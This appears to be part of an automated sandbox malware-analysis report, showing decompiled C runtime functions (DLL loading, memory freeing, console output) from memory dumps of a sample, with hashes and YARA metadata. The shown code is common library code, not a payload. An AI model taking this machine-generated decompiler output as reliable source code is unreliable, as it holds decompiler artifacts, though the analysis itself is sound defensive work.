0x00000000
0x0041e4f8
0x0041e492
0x0041e49b
0x0041e4d2
0x0041e4d2
0x0041e4d4
0x0041e4d6
0x00000000
0x00000000
0x0041e4de
0x00000000
0x0041e4de
0x0041e4a5
0x0041e4aa
0x0041e4af
0x00000000
0x00000000
0x0041e4b9
0x0041e4be
0x0041e4c3
0x00000000
0x00000000
0x0041e4c8
0x0041e4ce
0x00000000
0x0041e4ce
0x0041e46f
0x00000000
0x00000000
0x00000000
0x0041e475
0x0041e504
0x00000000

Strings

api-ms-, xrefs: 0041E49F
ext-ms-, xrefs: 0041E4B3

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: f5ec6ee9c4a828023a9cd68abdd904a08f9a9bc1d08a35ee3d13f4932bbadbf7
Instruction ID: 1b69c46877ca9ef0d904cc92acdc1271cd0c3909f5a6a0ed2da18a95e796b0a5
Opcode Fuzzy Hash: f5ec6ee9c4a828023a9cd68abdd904a08f9a9bc1d08a35ee3d13f4932bbadbf7
Instruction Fuzzy Hash: 5A21D839A01220BBDB318B2B9C44BAB3758AF15B60F250132FD16A7391D738EC41C6ED

Uniqueness

Uniqueness Score: -1.00%

Function 1000728C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E1000728C(void* __ecx, signed int* _a4, intOrPtr _a8) {
				signed int* _v8;
				void** _t12;
				void* _t16;
				void* _t18;
				signed int _t22;
				WCHAR* _t23;
				void** _t26;
				signed int* _t29;
				void* _t32;
				void* _t34;

				_t29 = _a4;
				while(_t29 != _a8) {
					_t22 =  *_t29;
					_t12 = 0x10017ec8 + _t22 * 4;
					_t32 =  *_t12;
					_v8 = _t12;
					if(_t32 == 0) {
						_t23 =  *(0x10010fa8 + _t22 * 4);
						_t32 = LoadLibraryExW(_t23, 0, 0x800);
						if(_t32 != 0) {
							L12:
							_t26 = _v8;
							 *_t26 = _t32;
							if( *_t26 != 0) {
								FreeLibrary(_t32);
							}
							L14:
							if(_t32 != 0) {
								_t16 = _t32;
								L18:
								return _t16;
							}
							L15:
							_t29 =  &(_t29[1]);
							continue;
						}
						_t18 = GetLastError();
						if(_t18 != 0x57) {
							L9:
							_t32 = 0;
							L10:
							if(_t32 != 0) {
								goto L12;
							}
							 *_v8 = _t18 | 0xffffffff;
							goto L15;
						}
						_t18 = E10006A88(_t23, L"api-ms-", 7);
						_t34 = _t34 + 0xc;
						if(_t18 == 0) {
							goto L9;
						}
						_t18 = E10006A88(_t23, L"ext-ms-", 7);
						_t34 = _t34 + 0xc;
						if(_t18 == 0) {
							goto L9;
						}
						_t18 = LoadLibraryExW(_t23, _t32, _t32);
						_t32 = _t18;
						goto L10;
					}
					if(_t32 == 0xffffffff) {
						goto L15;
					}
					goto L14;
				}
				_t16 = 0;
				goto L18;
			}

0x10007295
0x1000733f
0x1000729d
0x1000729f
0x100072a6
0x100072a8
0x100072ae
0x100072bb
0x100072d0
0x100072d4
0x10007326
0x10007326
0x1000732b
0x1000732f
0x10007332
0x10007332
0x10007338
0x1000733a
0x1000734f
0x1000734a
0x1000734e
0x1000734e
0x1000733c
0x1000733c
0x00000000
0x1000733c
0x100072d6
0x100072df
0x10007316
0x10007316
0x10007318
0x1000731a
0x00000000
0x00000000
0x10007322
0x00000000
0x10007322
0x100072e9
0x100072ee
0x100072f3
0x00000000
0x00000000
0x100072fd
0x10007302
0x10007307
0x00000000
0x00000000
0x1000730c
0x10007312
0x00000000
0x10007312
0x100072b3
0x00000000
0x00000000
0x00000000
0x100072b9
0x10007348
0x00000000

Strings

api-ms-, xrefs: 100072E3
ext-ms-, xrefs: 100072F7

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: fc0d4ba6ae5d50e2bc9aff7092c574b5b628507680ec6e06f5d3aac5fd0fdee7
Instruction ID: 21986d9d511b7296ab58948478620972235e9a191b8a4950b7e2820f726e8a11
Opcode Fuzzy Hash: fc0d4ba6ae5d50e2bc9aff7092c574b5b628507680ec6e06f5d3aac5fd0fdee7
Instruction Fuzzy Hash: D6216371E01225EBF722CB648C85A4E3798FB057E0F614550FD49A7295DB78EF01A6E0

Uniqueness

Uniqueness Score: -1.00%

Function 00443054 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0044301C: _free.LIBCMT ref: 00443041

_free.LIBCMT ref: 004430A2
_free.LIBCMT ref: 004430AD
_free.LIBCMT ref: 004430B8
_free.LIBCMT ref: 0044310C
_free.LIBCMT ref: 00443117
_free.LIBCMT ref: 00443122
_free.LIBCMT ref: 0044312D

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 3655b3e075d1e4f0ca39580aaf83e1c418f6023985779401bf25483a1367a1ae
Instruction ID: 18b0f10dc80f86e3b47954cd7ac735c8865c2d37fda3f0ccca68a77a81fef9d4
Opcode Fuzzy Hash: 3655b3e075d1e4f0ca39580aaf83e1c418f6023985779401bf25483a1367a1ae
Instruction Fuzzy Hash: 3F116D31540B04FAFE20FFB2CC07FCB77AC5F05B06F40491EB29966066DA6EEA445699

Uniqueness

Uniqueness Score: -1.00%

Function 00425F91 Relevance: 10.6, APIs: 7, Instructions: 65
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00425F91(intOrPtr _a4) {
				void* _t18;

				_t45 = _a4;
				if(_a4 != 0) {
					E00425CDD(_t45, 7);
					E00425CDD(_t45 + 0x1c, 7);
					E00425CDD(_t45 + 0x38, 0xc);
					E00425CDD(_t45 + 0x68, 0xc);
					E00425CDD(_t45 + 0x98, 2);
					E0041E238( *((intOrPtr*)(_t45 + 0xa0)));
					E0041E238( *((intOrPtr*)(_t45 + 0xa4)));
					E0041E238( *((intOrPtr*)(_t45 + 0xa8)));
					E00425CDD(_t45 + 0xb4, 7);
					E00425CDD(_t45 + 0xd0, 7);
					E00425CDD(_t45 + 0xec, 0xc);
					E00425CDD(_t45 + 0x11c, 0xc);
					E00425CDD(_t45 + 0x14c, 2);
					E0041E238( *((intOrPtr*)(_t45 + 0x154)));
					E0041E238( *((intOrPtr*)(_t45 + 0x158)));
					E0041E238( *((intOrPtr*)(_t45 + 0x15c)));
					return E0041E238( *((intOrPtr*)(_t45 + 0x160)));
				}
				return _t18;
			}

0x00425f97
0x00425f9c
0x00425fa5
0x00425fb0
0x00425fbb
0x00425fc6
0x00425fd4
0x00425fdf
0x00425fea
0x00425ff5
0x00426003
0x00426011
0x00426022
0x00426030
0x0042603e
0x00426049
0x00426054
0x0042605f
0x00000000
0x0042606f
0x00426074

APIs

Part of subcall function 00425CDD: _free.LIBCMT ref: 00425D02

_free.LIBCMT ref: 00425FDF

Part of subcall function 0041E238: HeapFree.KERNEL32(00000000,00000000,?,00425D07,?,00000000,?,?,?,00425FAA,?,00000007,?,?,0042649D,?), ref: 0041E24E
Part of subcall function 0041E238: GetLastError.KERNEL32(?,?,00425D07,?,00000000,?,?,?,00425FAA,?,00000007,?,?,0042649D,?,?), ref: 0041E260

_free.LIBCMT ref: 00425FEA
_free.LIBCMT ref: 00425FF5
_free.LIBCMT ref: 00426049
_free.LIBCMT ref: 00426054
_free.LIBCMT ref: 0042605F
_free.LIBCMT ref: 0042606A

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 0ec00478f14c113bf47a4fee4d442575f16bafd0bb01c80a52db30f625d4e359
Instruction ID: ccbebe1fecebea9e192ae0d617dfa4290ce5570b543586181d43c8756f538675
Opcode Fuzzy Hash: 0ec00478f14c113bf47a4fee4d442575f16bafd0bb01c80a52db30f625d4e359
Instruction Fuzzy Hash: F0118471A42B18A6E520B773DC07FCBB79C5F05704F80081FB699EA092F67CB5449A55

Uniqueness

Uniqueness Score: -1.00%

Function 1000C54F Relevance: 10.6, APIs: 7, Instructions: 65
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E1000C54F(intOrPtr _a4) {
				void* _t18;

				_t45 = _a4;
				if(_a4 != 0) {
					E1000C517(_t45, 7);
					E1000C517(_t45 + 0x1c, 7);
					E1000C517(_t45 + 0x38, 0xc);
					E1000C517(_t45 + 0x68, 0xc);
					E1000C517(_t45 + 0x98, 2);
					E100079CC( *((intOrPtr*)(_t45 + 0xa0)));
					E100079CC( *((intOrPtr*)(_t45 + 0xa4)));
					E100079CC( *((intOrPtr*)(_t45 + 0xa8)));
					E1000C517(_t45 + 0xb4, 7);
					E1000C517(_t45 + 0xd0, 7);
					E1000C517(_t45 + 0xec, 0xc);
					E1000C517(_t45 + 0x11c, 0xc);
					E1000C517(_t45 + 0x14c, 2);
					E100079CC( *((intOrPtr*)(_t45 + 0x154)));
					E100079CC( *((intOrPtr*)(_t45 + 0x158)));
					E100079CC( *((intOrPtr*)(_t45 + 0x15c)));
					return E100079CC( *((intOrPtr*)(_t45 + 0x160)));
				}
				return _t18;
			}

0x1000c555
0x1000c55a
0x1000c563
0x1000c56e
0x1000c579
0x1000c584
0x1000c592
0x1000c59d
0x1000c5a8
0x1000c5b3
0x1000c5c1
0x1000c5cf
0x1000c5e0
0x1000c5ee
0x1000c5fc
0x1000c607
0x1000c612
0x1000c61d
0x00000000
0x1000c62d
0x1000c632

APIs

Part of subcall function 1000C517: _free.LIBCMT ref: 1000C53C

_free.LIBCMT ref: 1000C59D

Part of subcall function 100079CC: RtlFreeHeap.NTDLL(00000000,00000000,?,10006680), ref: 100079E2
Part of subcall function 100079CC: GetLastError.KERNEL32(?,?,10006680), ref: 100079F4

_free.LIBCMT ref: 1000C5A8
_free.LIBCMT ref: 1000C5B3
_free.LIBCMT ref: 1000C607
_free.LIBCMT ref: 1000C612
_free.LIBCMT ref: 1000C61D
_free.LIBCMT ref: 1000C628

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: c4c0a627cdf80609df9843e8342f0dd46d11e13b3267d69b732be6628a16741d
Instruction ID: 6b8772b3b3c148c813ff3cd2bfd3ae69b98732a79df26756773758613eb0dbd7
Opcode Fuzzy Hash: c4c0a627cdf80609df9843e8342f0dd46d11e13b3267d69b732be6628a16741d
Instruction Fuzzy Hash: A9115179940B08BAF921EBB4CC0BFCF7B9CEF097C1F440819B69D66057DA79B9444650

Uniqueness

Uniqueness Score: -1.00%

Function 00404360 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00404360(void* __ebx, void* __ecx, signed int _a4, char _a8) {
				char _v24;
				char _v32;
				intOrPtr _v48;
				signed int _t20;
				void* _t22;
				void* _t32;
				signed char _t35;
				intOrPtr* _t37;
				char* _t40;
				intOrPtr* _t42;
				intOrPtr _t45;

				_t32 = __ebx;
				_t20 = _a4 & 0x00000017;
				 *(__ecx + 0xc) = _t20;
				_t35 =  *(__ecx + 0x10) & _t20;
				if(_t35 == 0) {
					return _t20;
				} else {
					if(_a8 != 0) {
						E004103CB(0, 0);
					}
					if((_t35 & 0x00000004) == 0) {
						_t40 =  ==  ? "ios_base::eofbit set" : "ios_base::failbit set";
					} else {
						_t40 = "ios_base::badbit set";
					}
					_t22 = E00403B30( &_v32);
					_t37 =  &_v24;
					E00404280(_t32, _t37, _t40, _t22);
					E004103CB( &_v32, 0x43c040);
					asm("int3");
					_t45 = _v48;
					asm("xorps xmm0, xmm0");
					_t42 = _t37;
					 *_t42 = 0x42e2d4;
					asm("movq [eax], xmm0");
					_t14 = _t45 + 4; // 0x4
					E0040FEF1(_t14, _t42 + 4);
					 *_t42 = 0x439c9c;
					 *((intOrPtr*)(_t42 + 0xc)) =  *((intOrPtr*)(_t45 + 0xc));
					 *((intOrPtr*)(_t42 + 0x10)) =  *((intOrPtr*)(_t45 + 0x10));
					 *_t42 = 0x439d14;
					return _t42;
				}
			}

0x00404360
0x0040436c
0x0040436f
0x00404375
0x00404377
0x00404384
0x00404379
0x0040437d
0x0040438b
0x0040438b
0x00404393
0x004043a9
0x00404395
0x00404395
0x00404395
0x004043b0
0x004043b7
0x004043bb
0x004043ca
0x004043cf
0x004043d4
0x004043d7
0x004043db
0x004043e1
0x004043e7
0x004043eb
0x004043ef
0x004043f4
0x00404403
0x00404408
0x0040440b
0x00404414
0x00404414

APIs

___std_exception_copy.LIBVCRUNTIME ref: 004043EF

Part of subcall function 004103CB: RaiseException.KERNEL32(E06D7363,?,00000003,?,?,?,0040DFB5,?,0043B72C,?), ref: 0041042B

Strings

`=@, xrefs: 00404338, 0040440B
ios_base::failbit set, xrefs: 0040439F
`=@, xrefs: 004043F4
ios_base::badbit set, xrefs: 00404395
ios_base::eofbit set, xrefs: 004043A4

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: `=@$`=@$ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3109751735-2436082744
Opcode ID: 65a52bc7dd255fb5b378f8714ebb78ffcfde0bc2dfb68a09a1b07215ad1a4b56
Instruction ID: 9264e756f140e89982348ebe607866d6270466b0d896b3508511c0a952163077
Opcode Fuzzy Hash: 65a52bc7dd255fb5b378f8714ebb78ffcfde0bc2dfb68a09a1b07215ad1a4b56
Instruction Fuzzy Hash: 6011D2B16003089BC714DF59C802B96B3E8AB84310F14953FFD65ABA81E778E854CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0042073B Relevance: 9.3, APIs: 6, Instructions: 317
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 84%

			E0042073B(void* __eflags, intOrPtr _a4, signed int _a8, signed char* _a12, intOrPtr _a16) {
				signed int _v8;
				char _v16;
				char _v23;
				char _v24;
				void _v32;
				signed int _v33;
				signed char _v40;
				signed int _v44;
				intOrPtr _v48;
				char _v51;
				void _v52;
				long _v56;
				char _v60;
				intOrPtr _v68;
				char _v72;
				struct _OVERLAPPED* _v76;
				signed char _v80;
				signed int _v84;
				signed int _v88;
				char _v92;
				intOrPtr _v96;
				long _v100;
				signed char* _v104;
				signed char* _v108;
				void* _v112;
				intOrPtr _v116;
				char _v120;
				int _v124;
				intOrPtr _v128;
				struct _OVERLAPPED* _v132;
				struct _OVERLAPPED* _v136;
				struct _OVERLAPPED* _v140;
				struct _OVERLAPPED* _v144;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t170;
				signed int _t172;
				int _t178;
				intOrPtr _t183;
				intOrPtr _t186;
				void* _t188;
				void* _t190;
				long _t193;
				void _t198;
				signed char* _t202;
				void* _t206;
				struct _OVERLAPPED* _t211;
				void* _t220;
				long _t224;
				intOrPtr _t225;
				char _t227;
				void* _t237;
				signed int _t242;
				intOrPtr _t245;
				signed int _t248;
				signed int _t249;
				signed int _t251;
				intOrPtr _t253;
				void* _t259;
				intOrPtr _t260;
				signed int _t261;
				signed char _t264;
				intOrPtr _t267;
				signed char* _t269;
				signed int _t272;
				signed int _t273;
				signed int _t277;
				signed int _t278;
				intOrPtr _t279;
				signed int _t280;
				struct _OVERLAPPED* _t282;
				struct _OVERLAPPED* _t284;
				signed int _t285;
				void* _t286;
				void* _t287;

				_t170 =  *0x43d054; // 0x298e9dc2
				_v8 = _t170 ^ _t285;
				_t172 = _a8;
				_t264 = _t172 >> 6;
				_t242 = (_t172 & 0x0000003f) * 0x38;
				_t269 = _a12;
				_v108 = _t269;
				_v80 = _t264;
				_v112 =  *((intOrPtr*)(_t242 +  *((intOrPtr*)(0x4508e0 + _t264 * 4)) + 0x18));
				_v44 = _t242;
				_v96 = _a16 + _t269;
				_t178 = GetConsoleOutputCP();
				_t241 = 0;
				_v124 = _t178;
				E004135A1( &_v72, _t264, 0);
				_t273 = 0;
				_v92 = 0;
				_v88 = 0;
				_v84 = 0;
				_t245 =  *((intOrPtr*)(_v68 + 8));
				_v128 = _t245;
				_v104 = _t269;
				if(_t269 >= _v96) {
					L48:
					__eflags = _v60 - _t241;
				} else {
					while(1) {
						_t248 = _v44;
						_v51 =  *_t269;
						_v76 = _t241;
						_v40 = 1;
						_t186 =  *((intOrPtr*)(0x4508e0 + _v80 * 4));
						_v48 = _t186;
						if(_t245 != 0xfde9) {
							goto L19;
						}
						_t211 = _t241;
						_t267 = _v48 + 0x2e + _t248;
						_v116 = _t267;
						while( *((intOrPtr*)(_t267 + _t211)) != _t241) {
							_t211 =  &(_t211->Internal);
							if(_t211 < 5) {
								continue;
							}
							break;
						}
						_t264 = _v96 - _t269;
						_v40 = _t211;
						if(_t211 <= 0) {
							_t72 = ( *_t269 & 0x000000ff) + 0x43d298; // 0x0
							_t253 =  *_t72 + 1;
							_v48 = _t253;
							__eflags = _t253 - _t264;
							if(_t253 > _t264) {
								__eflags = _t264;
								if(_t264 <= 0) {
									goto L40;
								} else {
									_t278 = _v44;
									do {
										 *((char*)( *((intOrPtr*)(0x4508e0 + _v80 * 4)) + _t278 + _t241 + 0x2e)) =  *((intOrPtr*)(_t241 + _t269));
										_t241 =  &(_t241->Internal);
										__eflags = _t241 - _t264;
									} while (_t241 < _t264);
									goto L39;
								}
							} else {
								_v144 = _t241;
								__eflags = _t253 - 4;
								_v140 = _t241;
								_v56 = _t269;
								_v40 = (_t253 == 4) + 1;
								_t220 = E0041FEB0( &_v144,  &_v76,  &_v56, (_t253 == 4) + 1,  &_v144);
								_t287 = _t286 + 0x10;
								__eflags = _t220 - 0xffffffff;
								if(_t220 == 0xffffffff) {
									goto L48;
								} else {
									_t279 = _v48;
									goto L18;
								}
							}
						} else {
							_t224 =  *((char*)(( *(_t248 + _v48 + 0x2e) & 0x000000ff) + 0x43d298)) + 1;
							_v56 = _t224;
							_t225 = _t224 - _v40;
							_v48 = _t225;
							if(_t225 > _t264) {
								__eflags = _t264;
								if(_t264 > 0) {
									_t280 = _t248;
									do {
										_t227 =  *((intOrPtr*)(_t241 + _t269));
										_t259 =  *((intOrPtr*)(0x4508e0 + _v80 * 4)) + _t280 + _t241;
										_t241 =  &(_t241->Internal);
										 *((char*)(_t259 + _v40 + 0x2e)) = _t227;
										_t280 = _v44;
										__eflags = _t241 - _t264;
									} while (_t241 < _t264);
									L39:
									_t273 = _v88;
								}
								L40:
								_t277 = _t273 + _t264;
								__eflags = _t277;
								L41:
								__eflags = _v60;
								_v88 = _t277;
							} else {
								_t264 = _v40;
								_t282 = _t241;
								_t260 = _v116;
								do {
									 *((char*)(_t285 + _t282 - 0xc)) =  *((intOrPtr*)(_t260 + _t282));
									_t282 =  &(_t282->Internal);
								} while (_t282 < _t264);
								_t283 = _v48;
								_t261 = _v44;
								if(_v48 > 0) {
									E00410440( &_v16 + _t264, _t269, _t283);
									_t261 = _v44;
									_t286 = _t286 + 0xc;
									_t264 = _v40;
								}
								_t272 = _v80;
								_t284 = _t241;
								do {
									 *( *((intOrPtr*)(0x4508e0 + _t272 * 4)) + _t261 + _t284 + 0x2e) = _t241;
									_t284 =  &(_t284->Internal);
								} while (_t284 < _t264);
								_t269 = _v104;
								_t279 = _v48;
								_v120 =  &_v16;
								_v136 = _t241;
								_v132 = _t241;
								_v40 = (_v56 == 4) + 1;
								_t237 = E0041FEB0( &_v136,  &_v76,  &_v120, (_v56 == 4) + 1,  &_v136);
								_t287 = _t286 + 0x10;
								if(_t237 == 0xffffffff) {
									goto L48;
								} else {
									L18:
									_t269 = _t269 - 1 + _t279;
									L27:
									_t269 =  &(_t269[1]);
									_v104 = _t269;
									_t193 = E00420014(_v124, _t241,  &_v76, _v40,  &_v32, 5, _t241, _t241);
									_t286 = _t287 + 0x20;
									_v56 = _t193;
									if(_t193 == 0) {
										goto L48;
									} else {
										if(WriteFile(_v112,  &_v32, _t193,  &_v100, _t241) == 0) {
											L47:
											_v92 = GetLastError();
											goto L48;
										} else {
											_t273 = _v84 - _v108 + _t269;
											_v88 = _t273;
											if(_v100 < _v56) {
												goto L48;
											} else {
												if(_v51 != 0xa) {
													L34:
													if(_t269 >= _v96) {
														goto L48;
													} else {
														_t245 = _v128;
														continue;
													}
												} else {
													_t198 = 0xd;
													_v52 = _t198;
													if(WriteFile(_v112,  &_v52, ?str?,  &_v100, _t241) == 0) {
														goto L47;
													} else {
														if(_v100 < 1) {
															goto L48;
														} else {
															_v84 = _v84 + 1;
															_t273 = _t273 + 1;
															_v88 = _t273;
															goto L34;
														}
													}
												}
											}
										}
									}
								}
							}
						}
						goto L49;
						L19:
						_t264 =  *((intOrPtr*)(_t248 + _t186 + 0x2d));
						__eflags = _t264 & 0x00000004;
						if((_t264 & 0x00000004) == 0) {
							_v33 =  *_t269;
							_t188 = E00418E34(_t264);
							_t249 = _v33 & 0x000000ff;
							__eflags =  *((intOrPtr*)(_t188 + _t249 * 2)) - _t241;
							if( *((intOrPtr*)(_t188 + _t249 * 2)) >= _t241) {
								_push("true");
								_push(_t269);
								goto L26;
							} else {
								_t202 =  &(_t269[1]);
								_v56 = _t202;
								__eflags = _t202 - _v96;
								if(_t202 >= _v96) {
									_t264 = _v80;
									_t251 = _v44;
									_t241 = _v33;
									 *((char*)(_t251 +  *((intOrPtr*)(0x4508e0 + _t264 * 4)) + 0x2e)) = _v33;
									 *(_t251 +  *((intOrPtr*)(0x4508e0 + _t264 * 4)) + 0x2d) =  *(_t251 +  *((intOrPtr*)(0x4508e0 + _t264 * 4)) + 0x2d) | 0x00000004;
									_t277 = _t273 + 1;
									goto L41;
								} else {
									_t206 = E0041EE3F( &_v76, _t269, 2);
									_t287 = _t286 + 0xc;
									__eflags = _t206 - 0xffffffff;
									if(_t206 == 0xffffffff) {
										goto L48;
									} else {
										_t269 = _v56;
										goto L27;
									}
								}
							}
						} else {
							_t264 = _t264 & 0x000000fb;
							_v24 =  *((intOrPtr*)(_t248 + _t186 + 0x2e));
							_v23 =  *_t269;
							_push(2);
							 *(_t248 + _v48 + 0x2d) = _t264;
							_push( &_v24);
							L26:
							_push( &_v76);
							_t190 = E0041EE3F();
							_t287 = _t286 + 0xc;
							__eflags = _t190 - 0xffffffff;
							if(_t190 == 0xffffffff) {
								goto L48;
							} else {
								goto L27;
							}
						}
						goto L49;
					}
				}
				L49:
				if(__eflags != 0) {
					_t183 = _v72;
					_t165 = _t183 + 0x350;
					 *_t165 =  *(_t183 + 0x350) & 0xfffffffd;
					__eflags =  *_t165;
				}
				__eflags = _v8 ^ _t285;
				asm("movsd");
				asm("movsd");
				asm("movsd");
				return E0040EB3F(_a4, _t241, _v8 ^ _t285, _t264, _a4,  &_v92);
			}

0x00420746
0x0042074d
0x00420750
0x00420758
0x0042075b
0x00420768
0x0042076b
0x0042076e
0x00420775
0x0042077d
0x00420780
0x00420783
0x00420789
0x0042078b
0x00420792
0x0042079c
0x0042079e
0x004207a1
0x004207a4
0x004207a7
0x004207aa
0x004207ad
0x004207b3
0x00420abe
0x00420abe
0x00000000
0x004207b9
0x004207c1
0x004207c4
0x004207ca
0x004207cd
0x004207d4
0x004207db
0x004207de
0x00000000
0x00000000
0x004207e7
0x004207ec
0x004207ee
0x004207f1
0x004207f6
0x004207fa
0x00000000
0x00000000
0x00000000
0x004207fa
0x004207ff
0x00420801
0x00420806
0x004208c0
0x004208c7
0x004208c8
0x004208cb
0x004208cd
0x00420a71
0x00420a73
0x00000000
0x00420a75
0x00420a75
0x00420a78
0x00420a87
0x00420a8b
0x00420a8c
0x00420a8c
0x00000000
0x00420a90
0x004208d3
0x004208d5
0x004208db
0x004208de
0x004208ea
0x004208f3
0x004208fe
0x00420903
0x00420906
0x00420909
0x00000000
0x0042090f
0x0042090f
0x00000000
0x0042090f
0x00420909
0x0042080c
0x0042081b
0x0042081c
0x0042081f
0x00420822
0x00420827
0x00420a3d
0x00420a3f
0x00420a41
0x00420a43
0x00420a4d
0x00420a55
0x00420a57
0x00420a58
0x00420a5c
0x00420a5f
0x00420a5f
0x00420a63
0x00420a63
0x00420a63
0x00420a66
0x00420a66
0x00420a66
0x00420a68
0x00420a68
0x00420a6c
0x0042082d
0x0042082d
0x00420830
0x00420832
0x00420835
0x00420838
0x0042083c
0x0042083d
0x00420841
0x00420844
0x00420849
0x00420853
0x00420858
0x0042085b
0x0042085e
0x0042085e
0x00420861
0x00420864
0x00420866
0x0042086f
0x00420873
0x00420874
0x00420878
0x0042087e
0x00420887
0x00420894
0x0042089b
0x0042089f
0x004208aa
0x004208af
0x004208b5
0x00000000
0x004208bb
0x00420912
0x00420913
0x00420996
0x0042099d
0x004209a5
0x004209ad
0x004209b2
0x004209b5
0x004209ba
0x00000000
0x004209c0
0x004209d5
0x00420ab5
0x00420abb
0x00000000
0x004209db
0x004209e4
0x004209e6
0x004209ec
0x00000000
0x004209f2
0x004209f6
0x00420a2c
0x00420a2f
0x00000000
0x00420a35
0x00420a35
0x00000000
0x00420a35
0x004209f8
0x004209fa
0x004209fc
0x00420a15
0x00000000
0x00420a1b
0x00420a1f
0x00000000
0x00420a25
0x00420a25
0x00420a28
0x00420a29
0x00000000
0x00420a29
0x00420a1f
0x00420a15
0x004209f6
0x004209ec
0x004209d5
0x004209ba
0x004208b5
0x00420827
0x00000000
0x00420917
0x00420917
0x0042091b
0x0042091e
0x00420940
0x00420943
0x00420948
0x0042094c
0x00420950
0x0042097e
0x00420980
0x00000000
0x00420952
0x00420952
0x00420955
0x00420958
0x0042095b
0x00420a92
0x00420a95
0x00420a98
0x00420aa2
0x00420aad
0x00420ab2
0x00000000
0x00420961
0x00420968
0x0042096d
0x00420970
0x00420973
0x00000000
0x00420979
0x00420979
0x00000000
0x00420979
0x00420973
0x0042095b
0x00420920
0x00420924
0x00420927
0x0042092c
0x00420932
0x00420934
0x0042093b
0x00420981
0x00420984
0x00420985
0x0042098a
0x0042098d
0x00420990
0x00000000
0x00000000
0x00000000
0x00000000
0x00420990
0x00000000
0x0042091e
0x004207b9
0x00420ac1
0x00420ac1
0x00420ac3
0x00420ac6
0x00420ac6
0x00420ac6
0x00420ac6
0x00420ad8
0x00420ada
0x00420adb
0x00420adc
0x00420ae6

APIs

GetConsoleOutputCP.KERNEL32(00000000,00000000,?), ref: 00420783
__fassign.LIBCMT ref: 00420968
__fassign.LIBCMT ref: 00420985
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004209CD
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00420A0D
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00420AB5

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: 940b28119660a7e3c72b1a5bbb7280aebab35340e439732437ad35288d88db0d
Instruction ID: c6c7b871c7584928cda21ba0d9f8b4669952e113de818099f04fa4a4be9e3cd2
Opcode Fuzzy Hash: 940b28119660a7e3c72b1a5bbb7280aebab35340e439732437ad35288d88db0d
Instruction Fuzzy Hash: 9DC19E75E002689FCB10CFA9D9809EDFBF5AF18304F68416AE855F7342D6359A42CF68

Uniqueness

Uniqueness Score: -1.00%

Function 1000B668 Relevance: 9.3, APIs: 6, Instructions: 317
